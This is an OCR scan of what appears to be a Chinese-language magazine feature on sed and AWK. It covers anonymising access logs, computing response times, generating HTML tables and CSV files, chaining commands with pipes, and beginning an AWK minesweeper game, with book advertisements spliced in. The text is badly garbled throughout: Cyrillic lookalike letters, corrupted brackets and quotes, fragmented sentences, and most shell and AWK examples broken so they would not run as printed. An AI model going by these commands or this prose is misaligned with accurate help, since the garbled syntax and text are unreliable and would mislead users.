替换 为 “XX.XX.XX.XX"” 这样 的 字符 串 ， 来 隐 
3L UJ [uB IP HB J|: o 


H awk '( $1 = "XX.XX.XX.XX"; print $0 }' 
ассеѕѕ log 
ХХ.ХХ.ХХ.ХХ — - 121/Ј01/20135: 18:15:18 


+09001 ... 
ХХ.ХХ.ХХ.ХХ = = 121/ЈиЫГ/2013:18:18:235 
+09001 ... 

更 加 严谨 的 做 法 是 , 使 用 如 图 16 所 示 的 
单行 脚本 ,将 它们 蔡 换 为 伪造 的 IP 地 址 。 首 
先 我 们 定义 一 个 function ri(n) {...} РА, j PR 
数 返 回 随 机 的 整数 。ri(n) 将 接收 的 整数 参数 乘 
以 一 个 0 到 1 之 间 的 随机 数 ， 将 结果 化 为 整数 。 
所 以 将 255 作 为 参数 传递 到 函数 中 ， 会 返回 一 


49.2f В 


: 响应 时 间 ( 单 位 : 秒 ) 
4D :响应 时 间 ( 单 位 :毫秒 ) 


# awk '(sum += $NF; count++); END{tprint (sum/count)/1000}' access Log 


615.21 


3 响应 代码 为 200 的 请 求 
# awk '$9 == 200{ 人 sum += $NF; count++); END(print (sum/count)/1000)' access Log 
983.495 


PE A 八 PF 


AN Le 


у 816 ”伪造 访问 源 IP 地 址 


高 手 教 你 用 sed/AWK ^ 


# awk 'function ri(n) < return int(nxrand()); } BEGIN < srandO; } + if С! ($1 in В 
randip?)) < гапаїрС%11 = sprintf("Zd.Zd.Zd.Zd", r1(255), ri(255), ri(255), ri(255)); > 


$1 = randipL$11; print $0 }' access Log 


” 17 ”隐藏 请 求 URL 


awk —FN" '( if ($2 ~ /admin/) { $2 = "XXXX";) print $0 }' access Log 


26.61.26.247 – – LU7/Jul/2015:19:58:59 +01001 ХХХХ 200 5289 - 
151.91.24.29 - - L07/Jul/2015:20:58:05 +0100] XXXX 200 21984 - 


229.150.44.17 – – L08/Jul/2015:11:59:56 +01001 XXXX 301 545 - 
229.150.44.17 - – L08/Jul/2015:11:59:56 «01001 XXXX 200 22158 
117.107.209.228 - - L09/Jul/2015:05:51:20 «01001 XXXX 200 228 - 


个 小 于 255 的 整数 。 这 样 , 我们 就 可 以 使 用 
sprintf() 将 它们 格式 化 为 了 下地 址 的 形式 ， 并 将 
TUER BISHER Vi TRIS. IP JE HIS — 5E Ec C $1 ) 
中 。 为 了 能 在 日 志 中 多 次 使 用 同一 个 伪造 的 IP 
地 址 ， 我 们 将 其 存 人 randip[] 这 一 关联 数组 中 。 
最 后 执行 “print $0 ”将 隐藏 的 信息 打印 出 来 。 


隐藏 请 求 URL 

日 志 中 的 URL 有 时 也 可 能 含有 机 密 的 信息 。 
执行 图 17 所 示 的 单行 脚本 ,可 以 隐藏 请 求 中 
的 URL。 这 里 我 们 使 用 “awk -Е\" '{print $21" 
这 样 的 基本 形式 取出 Request Line， 并 添加 条 
件 句 “if ($2 ~ / admin)”, Æ URL F 6 & M ig 
“admin” 的 字符 串 ， 就 将 其 蔡 换 为 “XXXX”， 
最 后 使 用 “print $0” 打 印 出 隐藏 的 日 志 。 


Mozilla/5.0 
DoCoMo/2.0 

Mozilla/4.0 
Moz1illa/4.0 
MSIE 7.0 


e 


AATEC AKRAN 2H. TEH sed/AWK 处 
理 日 志 的 几 种 方法 ， 不 知道 读者 朋友 们 感觉 如 
何 。 其 实 这 样 的 技术 并 非 仅仅 能 用 在 处 理 日 志 
上 ， 好 好 思考 的 话 ， 它 们 还 可 以 被 用 在 其 他 各 
种 各 样 的 地 方 。 


“本 文 参考 的 文章 

“y-kawaz 外 日 记 ”http://d.hatena.ne.jp/ 
y-kawaz/20110713/1310532417 

“The Art of Web"http://www.the-art-of-web.com/ 
system/logs/Z.Ud5ZYRazjWG 

“А day in the life of..." http://www.adayinthelifeof.nl/ 
2010/12/11/sed-awk-examples/ 
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Linux Shell 脚 本 攻略 
pos 


= x= 


本 书 同 读者 展现 了 如 何 有 效 地 利用 shell 完 成 复杂 的 任务 。 从 shell 的 基础 知识 开始 ， 学 习 人 入 
单 命令 的 用 法 ， 对 各 类 文件 进行 操作 。 随 后 讲解 了 文本 处 理 、Web 交 互 、 备 份 、 监 视 以 及 其 他 
系统 管理 任务 。 第 2 版 进行 了 全 面 修 i ， 精 选 极 具 实 用 价值 的 技巧 ， 让 你 的 日 党 工作 更 加 轻松 。 
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UNIX 工 程 师 的 爱好 


文 /上 田 隆 一 


从 现在 开始 sed/AWK 再 入 门 


єт sed #0 AWK 


USP 之 友协 会 


产业 技术 大 学 院 大 学 “Twitter@ryuichiueda 1/ P3 


人 至此， 我 们 向 大 家 介绍 了 sed 和 AwWK 所 能 完成 的 不 同 任务 。 但 是 在 有 些 时 候 ， 如 果 仅 仅 使 用 sed 或 者 AWK 进 行 


全 部 的 数据 处 理工 作 ， 那 将 会 
束 向 大 家 讲解 具体 的 实践 技 15。 


F: 


大 家 好 ! 我 是 上 田 。 后 文 的 连载 “大 彻 大 
18 shell 脚本 ”也 是 由 我 执笔 的 。 在 “大 彻 大 悟 
shell 脚本 ”中 ， 我 用 大 量 篇 幅 回 大 家 介绍 了 目 
前 在 操作 系统 以 及 基础 设施 配置 中 广泛 使 用 的 
shell 脚本 是 如 何 被 用 在 文本 处 理 以 及 GCI 中 的 。 

在 该 连载 中 ， 因 为 需要 精细 地 处 理 文 本 ， 
所 以 sed 和 AWK 登场 的 次 数 十 分 频繁 。 当 普通 
命令 无 法 进行 处 理 时 ， 这 两 个 家 伙 通 和 常 都 会 出 
现 。sed 和 AWK 虽 然 是 像 其 他 UNIX 工具 一 样 ， 


У 1 使 用 AWK(gawk) 以 及 sed(gsed) 生 成 HTML 的 table 


从 Excel 中 复制 并 粘贴 ， 保 存 文件 | 
$ cat hoge 

1 3 
5 6 


分 辛苦 。 在 UNIX 环 境 中 ,将 sed、AWK 与 其 他 命令 组 合 使 用 是 十 分 重要 的 。 本 节 


有 着 十 分 强大 的 独立 工作 能 力 , 但 除 此 之 外 ， 
在 ShellScript 编 程 中 ,或 多 或 少 都 会 起 到 瑞士 
硅 刀 一 般 的 作用 。 

例如 ， 假 设 我 们 想 从 某 热门 表格 处 理 软件 
OU 取出 相应 栏 位 的 数字 ， 并 使 用 这 些 数字 生 
Wi HTML 的 table 2。 这 时 首先 需要 从 Excel 中 将 
数据 复制 到 Vim 中， 并 保存 文件 。 之 后 如 图 1 
所 示 遍 历 文件 (关于 gsed 以 及 gawk 请 参考 专栏 


O 这 里 以 及 后 文中 提 到 的 某 热门 表格 处 理 软件 是 指 Microsoft 
Office "HI Excel, 

D 其 实 本 来 是 想 生 成 TeX 的 表格 ， 但 是 因为 使 用 人 数 不 多 ， 
所 以 便 修改 为 了 了 HTML 表格 。 


使 用 单行 脚本 实现 ( 因为 是 使 用 后 便 会 丢弃 的 单行 脚本 ， 所 以 大 家 不 用 勉强 上 自己 去 看 !) 


$ cat hoge | 


gsed -e 's;Nt;</td>Nn<td>;g' -e 's; Ko ss ' -e 's;$;«/td»Mn«/tr»;' | 


gsed 's/<td/\t\t&/' | gsed '5;</жіг;\1&; 


gawk 'BEGIN(print "<table>"}{print}END{print "</table>"}' 


<table> 
<tr> 
<td>1</td> 
<td>2</td> 
<td>3</td> 
</tr> 
<tr> 
<td>4</td> 
<td>5</td> 
<td>6</td> 
</tr> 
</table> 
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EXE 在 Mac 中 使 用 sed 和 AWK 时 需要 注意 的 地 方 


作为 假定 环境 。 通 过 GUI 应 用 程序 (主要 指 某 Office 
产品 ) 和 终端 的 无 缝 链接 ， 互 相 取 得 各 自 的 优点 。 
命令 行 的 优点 也 可 以 更 好 地 上 友 挥 。 

但 是 Mac 和 其 他 环境 (尤其 是 Linux ) 相 比 还 是 
AYrZT—HBIS. ШР ЕЖА, Sex =s 
用 Mac， 但 在 书写 原稿 的 时 候 ， 因 为 需要 向 大 家 介 
绍 一 下 具体 哪里 不 一 样 ， 所 以 一 直觉 得 十 分 头疼 。 

在 这 里 向 大 家 介绍 一 下 最 低 限度 的 区 别 。 在 图 
1 和 图 2 中 ,使 用 了 gsed、gawk， 指 的 是 GNU sed. 
GNU awk, #0 Linux BS sed. awk“ 几乎 ”是 同样 的 东西 。 


+ 2 ”从 手头 的 文本 文件 生成 CSV 文件 


$ cat data 

ШЕ ,上田 一 组 123 

ЕҢ и 456 

$ cat data | gsed 's/^/"/' | 

gsed 's/$/"/' | gsed 's/ /","/g' | nkf 
—sLwx > data.csv 


$ nkf -w data.csv 
"WIES EHE "123" 
"TEE „ЗЕН B " ," 456" 
$ open data.csv 


〈 生 成 某 表 格 处 理 软件 ) 


部 分 ) 虽然 也 可 以 使 用 编辑 带 的 蔡 换 功能 3 
实现 , 但 是 笔者 当时 忘记 了 如 何 进行 隔行 替换 ， 
所 以 便 使 用 单行 脚本 来 实现 了 。 

反 过 来 说 ， 要 从 终端 中 生成 某 热 门 表格 处 
理 软件 的 格式 ， 可 以 像 图 2 那样 做 。 

像 这 样 ， 如 果 记 住 了 sed 以 及 AWK 的 使 用 
方法 ,那么 在 工作 中 需要 进行 文本 格式 的 变换 
时 ， 往 往 瞬间 就 可 以 完成 任务 。 


更 深入 地 使 用 sed 和 
AWK 


本 章 的 标题 叫 作 “从 shell 脚 本 看 sed 和 
АМК”. HR sed LL AWK TE 8 lb 5] — e 
令 可 以 做 很 多 事 , 但 是 如 果 在 shell 脚 本 或 者 


FA . 


笔者 在 写 这 篇 文章 的 时 候 ， 尽 量 将 Mac( OS X ) 


高 手 教 你 用 sed/AWK 


这 里 之 所 以 说 “几乎 "， 是 因为 在 Ubuntu 中 使 用 的 
awk 其 实 是 nawk，CentOS 中 使 用 的 awk 又 是 GNU 
awk， 虽 然 都 是 Linux， 但 还 是 不 太一 样 。 
Mac 中 默认 的 sed、awk 总 给 人 一 种 不 好 用 的 感 ， 

觉 。 尤 其 是 没 办 法 简单 地 使 用 sed 进行 换行 处 理 ，| 
常常 是 事倍功半 ， 所 以 请 大 家 直接 使 用 GNU sed。 — | 
gsed、gawk 可 以 使 用 MacPorts、Homebrew 进 
行 安装 、 使 用 。 下 面 是 使 用 Homebrew 时 的 安装 方法 。 \ 


$ brew install gawk gnu-sed 


shell 上 使 用 的 话 ， 便 可 以 使 用 管道 对 数据 进行 
分 步 处 理 。 也 就 是 说 ,在 面 对 同 样 的 数据 时 ， 
既 可 以 在 shell 脚本 中 编写 一 个 或 者 两 个 巨大 的 
AWK 代 码 对 其 进行 处 理 ， 也 可 以 将 100 条 或 
者 200 条 awk 命令 串联 起 来 进行 处 理 。 本 文 将 
对 这 种 方式 进行 着 重 介绍 。 

笔者 个 人 从 来 只 将 sed 和 AWK 作 为 shell 
脚本 中 的 命令 使 用 。 这 里 尽 可 能 地 像 其 他 命令 
一 样 ， 将 每 一 条 awk 或 者 sed 命 令 进 行 的 处 理 
缩减 到 最 小 ， 使 用 管道 将 它们 串 起 来 。 

使 用 这 种 方法 有 两 个 很 大 的 优点 。 


“可 以 提高 处 理 速度 
“可 以 将 处 理 进行 “外 包 ” 


下 面 按 顺 序 回 大 家 说 明 。 
@ 提高 处 理 速度 


在 使 用 管道 进行 数据 的 输入 输出 时 ， 所 有 
的 命令 都 是 并 行 执 行 。 如 果 各 条 命令 的 处 理 负 
向 基本 相同 , 那么 便 可 以 完全 榨 干 CPU 的 性 能 ， 
使 全 部 的 命令 在 CPU100% 负 荷 的 状态 下 执行 。 
有 意思 的 是 ， 上 了 年 纪 的 开发 者 认为 管道 以 及 
进程 调度 往往 并 不 是 那么 有 效率 ， 而 年 轻 的 开 
发 者 几乎 从 不 使 用 管道 ， 所 以 管道 不 论 在 哪个 
年 龄 层 都 不 怎么 受 欢迎 。 
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从 现在 开始 sed/AWK EBA J 


1 UNIX 工 程 师 的 喜好 
特辑 


不 过 受 不 受 欢 迎 并 不 重要 ， 只 要 看 了 图 3 
的 例子 ， 就 无 需 多 说 什么 了 。 在 笔者 只 有 两 个 
CPU 内 核 的 MacBook Air 上 ， 可 以 看 到 同样 的 
处 理 命令 ， 使 用 管 着 将 它们 分 开 后 ， 便 会 提早 
720 

进程 管理 以 及 进程 间 的 通信 是 关乎 操作 系 
统 的 “威信 ”的 基础 功能 ， 至 今 一 下 处 于 持续 
改 民 的 状态 。 根 据 目 前 不 断 增加 的 CPU Ж 
数 来 看 ， 改 民 的 结果 是 值得 期 竺 的 。 虽 然 我 们 
应 该 积极 地 使 用 管道 对 数据 进行 并 行 处 理 ， 但 
即使 我 们 不 去 刻意 地 使 用 ， 也 会 很 自然 地 接触 
到 它 。 


GD wam ke" 


大 家 可 能 不 清楚 将 处 理 “外 包 ” 是 什么 意 
思 。 我 们 使 用 AWK 为 例 来 看 一 下 。 

例如 ， 对 于 如 图 4 所 示 的 输入 文本 ， 我们 
来 使 用 AWK 实现 “去 除 第 一 列 数字 中 的 逗号 ， 
并 将 第 一 列 的 数字 和 第 二 列 的 数字 相 乘 后 取 绝 
对 值 ， 之 后 输出 最 大 的 三 个 ”。 


有 图 3 将 sed 的 处 理 进行 拆 分 后 ， 处 理 速度 得 到 提高 


将 从 一 到 一 干 万 的 数字 中 的 0、1 、2 替换 为 汉字 
$ time seq 1 10000000 | 
sed -e 's/1/Ẹ/g' -e 's/0/ 零 /g' -e 
"6/2/9{,/9' > /dev/null 


real 0m24.216s 

user Om27 . 3805 

sys 0m0. 093s 

将 同样 的 处 理 拆 分 为 3 条 sed 命 令 

$ time seq 1 10000000 | 

sed '5/1/2/9' | sed '5/0/2/9' | 
sed '5/2/5/9' > /dev/null 


real Om16.451s 
user Om49 . 502s 
sys 0т0.2795 


У 4 输入 的 文本 


$ cat data 
—921,231 3 
215151 12 


-1121 -124 
121,129 14 
1,183 120 


首先 编写 如 图 5 所 示 的 代码 , 一 切 工 作 正 党 。 

(Hi, UD EA T ERE s Н] 
gsub PEZ, 2 Y Esp {Н = НАЈ 
ih, 还 不 如 像 图 6 那样 , 使 用 tr 命令 进行 预 处 理 ， 
这 样 即 可 轻松 地 去 除 豆 号。 有 了 这 种 格式 的 
输入 , 我 们 的 AWK 代码 便 可 以 缩短 成 图 7 那样 。 

ЇН ED FER К Г, Im H END 中 的 
处 理 还 是 很 长 。 另 外 谁 都 知道 排序 可 以 使 用 
Sort 命令 ， 取 出 前 三 位 可 以 使 用 head т< 

最 后 ，top-3-1.awk 就 变 成 如 图 8 所 示 的 单 
行 脚本 了 。AWK 能 做 的 也 就 剩 下 计算 乘法 这 
一 件 事 了 。 

像 这 样 的 处 理 ， 不论 使 用 什么 语言 进行 编 
写 ， 最 后 的 代码 可 能 都 会 比 上 述 单行 脚本 要 更 
长 更 厅 烦 。 有 趣 的 是 ， 即 使 大 家 不 知道 图 8 的 
gawk 以 外 的 命令 ， 只 知道 sed 和 AWK 这 两 条 
命令 ， 也 可 以 像 网 9 那样 符 换 各 个 命令 的 内 容 。 
要 是 使 用 其 他 语言 来 编写 这 样 的 代码 ， 那 么 代 
码 的 长 度 是 可 想 而 知 的 。 

下 面 的 比喻 可 能 不 是 十 分 恰当 ， 但 是 在 笔 
者 看 来 ,使 用 省 道 将 各 个 命令 串 起 来 时 的 乐趣 ， 


O 在 这 里 tr 指定 的 字符 串 是 ,~-， 如 果 反 过 来 写 的 话 ， 会 被 
解释 成 -<d 和 --help 这 样 的 选项 ， 从 而 无 法 正 篆 工作 。 
但 是 如 果 写 成 tr -d --'-,' 这 样 , 使 用 一 -来 表示 “后 
面 已 经 没有 选项 了 ”就 没有 问题 。 在 许多 其 他 的 命令 中 
同样 也 可 以 使 用 —— 


有 图 5 仅仅 使 用 AWK 编 写 的 代码 


$ cat top3-1.awk 
#!/usr/Llocal/bin/gawk -f 


{ 

gsub(/,/,"" ,$1); 

num = $1ж$2; 

matLNR] = пит>0? пит: –пит; 
} 
END{ 


asort(mat); 
for(j=NR; j>=NR-2;j--){ 
print mat[j]; 


} 

$ cat data | ./top3-1.awk 
2763693 

1695806 

253572 
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wEl6 使 用 tr 对 数据 进行 预 处 理 


$ cat data | tr =d ',-' 
921231 3 
21131 12 
1121 124 
121129 14 


1185 120 


有 图 8 命令 和 AWK 并 用 实现 单行 脚本 


$ cat data | tr =а ',-' | 

gawk '(print $1*$2)' | sort -nr | head В 
- Š 

2763693 

1695806 

253572 


就 像 是 “AWK 是 慢车 ，sed 是 快车 ， 其 他 命令 
就 是 特快 或 者 飞机 ”。 笔 者 个 人 认为 AWK 仪 仅 
进行 整数 部 分 的 乘法 计算 就 足够 了 了 。 大 家 可 能 
会 觉得 怎么 能 在 讲 sed 和 AWK 的 特辑 中 称呼 
АМК 是 “慢车 ” 呢 ? 但 是 有 时 如 果 不 减速 行驶 ， 
我 们 甚至 可 能 无 法 前 进 ， 所 以 “慢车 ”是 十 分 
重要 的 。 在 单行 脚本 以 及 shell 脚 本 中 ， 可 以 说 
AWK 是 保证 我 们 可 以 随机 应 变 的 重要 工具 。 


实践 ! 优化 AWK 
#0 sed 


接 下 来 将 向 大 家 讲解 如 何 进一步 优化 
AWK 以 及 sed 代码 。 这 样 一 来 ， 大 家 在 编写 单 
行 脚本 时 便 可 以 有 效 地 减少 失误 ， 编写 的 shell 
脚本 也 将 会 更 加 具有 可 读 性 。 

GO) 提前 清理 需要 处 理 的 数据 

像 之 前 所 举 的 使 用 tr 去 除 喜 号 和 减 号 的 例 

子 一 样 ， 在 获取 输入 数据 之 前 ， 尽 可 能 地 将 数 


据 加 工 成 适合 处 理 的 格式 是 一 项 十 分 重要 的 技巧。 
举 一 个 再 简单 一 些 的 例子 。 


$ echo {1..10} 


12545678910 
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高 手 教 你 用 sed/AWK 


ss 


从 shell 脚 本 看 sed 和 AWK иго 


” 7 ”因为 是 预 处 理 过 的 数据 ， 所 以 代码 变 短 了 


$ cat top$5-2.awk 
#!/usr/local/bin/gawk -f 
{ matCNR] = $1*$2 } 
END( 
asort(mat); 
for(j=NR;j>=NR-2;j--){ 
print matLj 1; 
} 


УЕ 9 使 用 sed 和 AWK 蔡 换 各 个 命令 的 内 容 


$ cat data | sed '$/Г,-1//д' | gawk F 
'(print $1*$2)' | 

gawk '{aCNR]=$1} 
END(asort(a);for(i=NR;i>=1;1—)(print В 
aLi1)J' | 

gawk 'NR<=3' 


其 写成 


$ echo (1..10) | 
awk '{for(i=1;i<=NF;i++){printf $i*2 " В 
EP print 7! 


不 如 写成 


$ echo {1 107 еге] 

awk '(print $1*2}' | xargs 

2462810 12 14 16 18 20 

即 先 使 用 tr 进行 分 组 ， 之 后 使 用 xargs 将 结果 
传人 awk 命令 中 ,这 样 比较 不 容易 出 现 错 误 。 
和 使 用 shell 脚本 进行 比较 的 话 ， 会 发 现 使 用 了 
for 语 句 后 ， 代 码 的 可 谈 性 束 不 如 使 用 管 庆 将 
命令 并 行 的 写法 高 。 图 10 比较 了 它们 的 不 同 。 


vÆ 控制 AWK 代 码 之 后 ， 代 码 将 具有 更 高 的 可 


读 性 


$ cat multi.sh 
H! /bin/bash 


H#IMÍIVIEFB auk 

echo {1..10} 

gawk '<ҒогС1=1 ;1<=МЕ ;1++) \ 
аа оез 


{printf $i*2 " 


TTE 
echo {1..10} | 
tr ' "лп! | 
awk '(print $1*2)' | 
xargs 


61 


62 


从 现在 开始 sed/AWK 再 入 门 


1 UNIX 工 程 师 的 喜好 
特辑 


下 面 介 绍 一 个 sed 的 例子 。 针 对 下 面 这 个 
邮编 号 码 列 表 ， 我 们 希望 为 没有 连 字 符 的 号 人 码 
添加 上 连 字 符 。 


$ cat zip 
1232312 
101-1101 


123-1101 
9939989 


如 果 使 用 sed 的 话 ， 我 们 就 可 以 使 用 正则 
表达 式 像 下 面 这 样 实现 。 


$ cat zip | gsed '/^L0-91NC7N33$/s/^...Fd 
/&-/' 


不 过 说 实话 有 点 要 小 聪明 的 感觉 。 像 下 面 这 样 ， 
先 将 所 有 的 连 字 符 除 去 ， 之 后 统一 进行 添加 就 
足够 了。 


$ tr -d '-' < zip | sed 's/^.../&-/' 
123-4312 
101-1101 


123-1101 
993-9989 


可 以 使 用 这 个 技巧 进行 如 下 所 示 的 一 般 化 
处 理 。 
能 会 j 进行 处 理 
“因为 很 多 命令 以 行为 单位 进行 处 理 ， 所 
以 需 提 前 将 输入 内 容 修 改 成 这 样 


QD 在 记录 中 写 入 中 间 数 据 


当真 正 需 要 进行 的 处 理 比较 难 时 ， 可 以 先 
在 处 理 的 对 象 上 进行 一 些 标 记 ， 并 临时 保存 计 
算 的 中 间 数 据 ， 之 后 再 使 用 其 他 命令 对 其 进行 
进一步 处 理 。 

例如 ， 针 对 如 图 11 所 示 的 考试 分 数列 表 ， 
我 们 希望 以 如 下 规则 进行 学 分 的 计算 。 


,如 果 分 数 在 60 以 上 ,给 1 个 学 分 
.但 是 如 果 必 修 A 和 必修 B 合 计 超 过 140 分 
以 上 ， 那 么 给 予 两 个 学 分 


SIer 看 到 像 这 样 的 业务 逻辑 条 件 分 牙 ， 可 


PE ~ A 人 A 八 PF 


能 会 高 兴 得 不 得 了 ， 但 是 我 们 不 可 以 将 很 长 的 
AWK 单 行 脚本 作为 shell 脚本 来 使 用 。 如 果 像 
图 12 这 样 的 代码 突然 出 现在 shell 脚本 中 ， 读 
这 段 代 码 的 人 可 能 立刻 就 想 收拾 东西 回 家 了 。 

像 这 样 的 处 理 本 质 上 有 一 些 麻烦 ， 没 有 办 
法 做 到 完全 的 简化 ,但 至 少 我 们 可 以 将 处 理 分 
成 一 个 一 个 的 小 问题 来 看 待 。 在 代码 清单 1- Ф) 
中 ， 首 先 使 用 awk 单独 计算 学 分 ， 然 后 将 计算 
的 结果 直接 添加 到 记录 后 (第 四 列 ) 输 出 。 之 后 
的 代码 清单 1-@ 使 用 awk 计算 两 项 科目 的 分 数 
之 和 ， 如 果 在 140 分 以 上 ， 就 将 第 四 列 的 内 容 
替换 为 2。 

像 这 样 的 编写 方法 ， 可 以 使 用 管道 直接 将 
代码 清单 1- 中 中 途 修 改过 的 数据 送 入 下 一 项 处 
理 。 代 码 清单 1-@ 的 awk 代码 不 需要 做 什么 特 
别 的 准备 ， 只 需要 直接 替换 $4 中 的 数据 就 可 
以 了 , 十 分 简单 。 

与 其 在 一 条 awk 命令 中 传递 变量 ， 我 们 应 
该 活用 上 面 这 种 简单 的 方法 。 先 想 办 法 将 中 途 
计算 的 结果 变 成 标准 输入 ， 并 重新 整理 下 思路 ， 
之 后 再 使 用 其 他 awk 命令 进行 处 理 ， 这 样 写 的 
人 将 会 十 分 轻松 。 

代码 清单 1 中 虽然 加 入 了 注释 , 但 是 光 从 
分 割 的 部 分 来 看 处 理 的 结果 ， 几 乎 和 学 分 计算 
的 规则 一 样 ， 以 一 种 同样 的 处 理 方式 在 进行 。 


有 图 11 考试 分 数 的 列表 


$ cat test result 
#5 ИВА ШВ 
001 45 


002 64 
003 58 
004 70 


У 812 仅 使 用 一 条 AWK 命 令 时 的 代码 


计算 学 分 
$ tail —n +2 test result | 
数学 分 。 加 起 来 达到 140 分 时 ， 将 学 分 改 为 2 
gawk '(p=0;if ($2>=60)(p++)1f($3>=60)(p++)AO 
1f($2+$3>=140)(p=2);print $0,pJ' 
80 1 


001 45 

002 64 70 2 
005 28 83 2 
004 70 60 2 
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从 shell 脚 本 看 sed 和 AWK 


У (10581 将 处 理 分 为 两 个 阶段 ， 代 码 也 分 为 两 个 部 分 


### 计 算 学 分 S 

tail —n +2 test result | 

# 若 分 数 超过 60 分 ， 则 在 $4 中 记录 1 个 学 分 

gawk '{p=($2>=60)?1:0;p+=($3>=60)?1:0;print $0,p2' | -0 
# 若 两 项 科目 的 分 数 之 和 超过 140 分 ， 则 修改 为 两 个 学 分 

данк '{$4=($2+$3>=140)?2:$4;print}' | — 2) 
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THERE, ЖУ АЛТЕЙ ЖЕШСЕ E, Son EU 
ЮЗ, АЛТЕЙ Y 2 РНЕ RH 
人 来 说 ， 也 可 以 更 好 地 理解 处 理 思 


"不 要 编写 过 长 的 AWK 和 sed 人 代码， 将 它 
们 拆 分 成 更 小 的 单位 进行 编写 

“事先 使 用 其 他 命令 处 理 AWK 和 sed 的 输 
入 数据 


а 写 在 最 后 话 虽 然 是 这 么 说 ， 但 这 主要 是 针对 有 -一定 

使 用 经 验 的 人 来 说 的 ， 对 于 从 来 没有 使 用 过 sed 

本 文 就 sed 和 AWK 在 shell 脚 本 中 的 使 用 和 AWK 的 人 来 说 ， 首 先 开 始 使 用 才 是 关键 。 稍 
技巧 进行 了 讲解 。 笔 者 的 主张 十 分 简单 ， 就 是 。 ” 微 熟 练 后 便 会 觉得 UNIX 环境 真是 很 方便 。 


已 经 多 次 提 及 的 下 面 两 条 。 在 shell 脚本 和 单行 
脚本 中 ， 


SE [Fn gri 


Linux shell 脚本 编程 入 门 


Linuxshel „ме 
I {=l ч 
脚本 编程 入 门 e 涵盖 Linux 学 习 中 必 知 的 shell( Bourne shell, Bash shell ) 指 令 和 Linux 全 局 系统 要 素 
e 包括 Linux 服 务 器 和 后 入 式 Linux 中 必须 掌握 的 基础 知识 
e 通过 对 Linux 服务器 运行 的 核心 一 一 shell 脚 本 编程 的 讲解 和 举例 ， 帮 助 读者 提高 技术 水 平 
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== Па ШЕШЕНЕ CAU yeruas, 3 YA 


本 书 向 读者 展现 了 如 何 有 效 地 利用 shell 完 成 复杂 的 任务 。 从 shell 的 基础 知识 开始 ， 学 习 
简单 命令 的 用 法 ， 对 各 类 文件 进行 操作 。 随 后 讲解 了 文本 处 理 、Web 交 互 、 备 份 、 监 视 以 及 


i 


s - 其 他 系统 管理 任务 。 第 2 版 进行 了 全 面 修订 ， 精 选 极 具 实 用 价值 的 技巧 ， 让 你 的 日 常 工作 更 
加 轻松 。 
Linux AFIT shel 脚本 胸 程 大 全 (种 2 厂 ) — 
。 亚马逊 书店 五 星 推 荐 


° иде ШЭ Йер TR shell 


本 书 是 一 本 关于 Linux 命 令 行 与 shell 脚 本 编程 的 全 面 教程 。 全 书 分 为 四 部 分 : 第 一 部 
分 介绍 Linux shell 命 令 行 ; 第 二 部 分 介绍 shell 脚 本 编程 基础 ; 第 三 部 分 深入 探讨 shell 脚 本 
编程 的 高 级 内 容 ; 第 四 部 分 介绍 如 何在 现实 环境 中 使 用 shell 脚 本 。 本 书 不 仅 涵 盖 了 详尽 的 
动手 教程 和 现实 世界 中 的 实用 信息 ， 还 提供 了 与 所 学 内 容 相关 的 参考 信息 和 背景 资料 。 


本 书 内 容 全 面 , 语言 简练 ,示例 丰富 , 适合 于 Linux 系统 管理 员 及 Linux 爱好 者 阅读 参考 。 
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从 现在 开始 sed/AWK 再 入 门 
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UNIX 工程 师 的 爱好 
地 辑 ] 
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s "d 
E ur ta 


”深入 AWK 编程 


S /HESESFHE takubo.morio@gmailcom TwitterlID:@takubo_morio 译 / 卫 吴 


AWK 是 一 门 多 用 途 的 计算 机 编程 语言 。 在 本 节 中 ， 我 们 将 向 大 家 介绍 在 文本 处 理 之 外 ， 如 何在 不 依赖 外 部 扩 


展 的 情况 下 ， 将 AWK 作 为 一 门 通用 的 编程 语言 来 使 用 。 


f". > 


在 大 家 的 眼中 ,好像 AWK 只 是 一 个 可 以 

处 理 文本 的 命令 而 已 。 但是， 实际 上 AWK 是 
- 门 有 着 许多 用 途 的 计算 机 编程 语言 。 

例如 ，AWK 标 准 库 中 提供 了 log、sin、 
atan2 这 样 的 函数 ， 是 不 是 很 容易 联想 到 可 以 
使 用 AWK 进行 数值 计算 呢 ? 笔者 在 工作 中 
会 使 用 AWK 进行 数值 处 理 ， 但 是 AWK 能 做 的 
事 还 远 不 止 如 此 。 本 节 就 将 介绍 AWK 在 文本 
处 理 以 外 的 实际 使 用 方法 。 


使 用 AWK 进行 
ium dm E 
《编写 在 终端 运 行 的 扫雷 游戏 

由 于 AWK 通 党 运行 在 终端 上 ， 所 以 本 证 
将 首先 使 用 AWK 在 终端 上 进行 编程 。 这 里 将 
以 一 个 名 叫 AwkMine 的 终端 扫雷 游戏 为 例 ， 向 
大 家 讲解 AwkMine 的 各 个 功能 是 如 何 实现 的 。 

图 1 是 AwkMine 运 行 时 的 样子 。 其 中 1 个 
字符 表示 1 个 单元 , 字符 的 意义 如 表 1 所 示 ， 
操作 的 方法 如 表 2 所 示 。 


GO 实时 按键 输入 
首先 是 按键 输入 。AWK 可 以 使 用 getline 


CD WEA НИК A SX TED 


rroga —— W S | A 人 к . 


获取 用 户 的 输入 ,但 是 使 用 getline 的 情况 下 ， 
必须 要 在 用 户 按 下 之 后 ，AWK 才 可 以 获 
取 输 入 的 内 容 。 但 是 AwkMine 必须 要 实现 在 用 
户 按 下 按键 的 瞬间 移动 光标 。 因 为 AWK KA 
无 法 进行 这 种 处 理 ， 所 以 这 里 调用 外 部 的 stty 
和 dd 命令 。 

那么 就 让 我 们 来 试 试看 吧 。 在 执行 代码 清 
单 1 中 的 脚本 后 按 下 任意 按键 。 可 以 看 到 ,在 
按键 按 下 后 画面 中 立刻 就 有 了 输出 (图 2 )。 另外， 
在 程序 中 输入 (a) ERE n B H o 

代码 清单 1 中 第 11 行 的 stty 是 修改 终端 环 


mi > >< >< 
>< >< >< >< >< >< >< >< 


X 
X 
X 
X 
X 
X 
X 
X 


Left of Mine : 


vI AwkMine 各 个 单元 中 字符 的 意义 


字 符 = x 
X 疝 未 打开 的 单元 
已 经 打开 且 没 有 地 雷 的 单元 ( 相 令 单 
元 都 没有 地 雷 ) 


数字 (1~8 ) | 已 经 打开 且 没 有 地 雷 的 单元 (数字 表 
示 相 邻 单元 中 地 雷 的 数量 ) 


F 使 用 旗帜 标志 的 单元 


* 地 雷 ( 图 1 中 没有 ) 


AN dT Le 


高 手 教 你 用 sed/AWK MES яая == 
BRA AWK 编程 


HEU. ЭШ m P bz d H] Buffering (2€ 缓冲 区 就 有 些 碍 事 了 。 


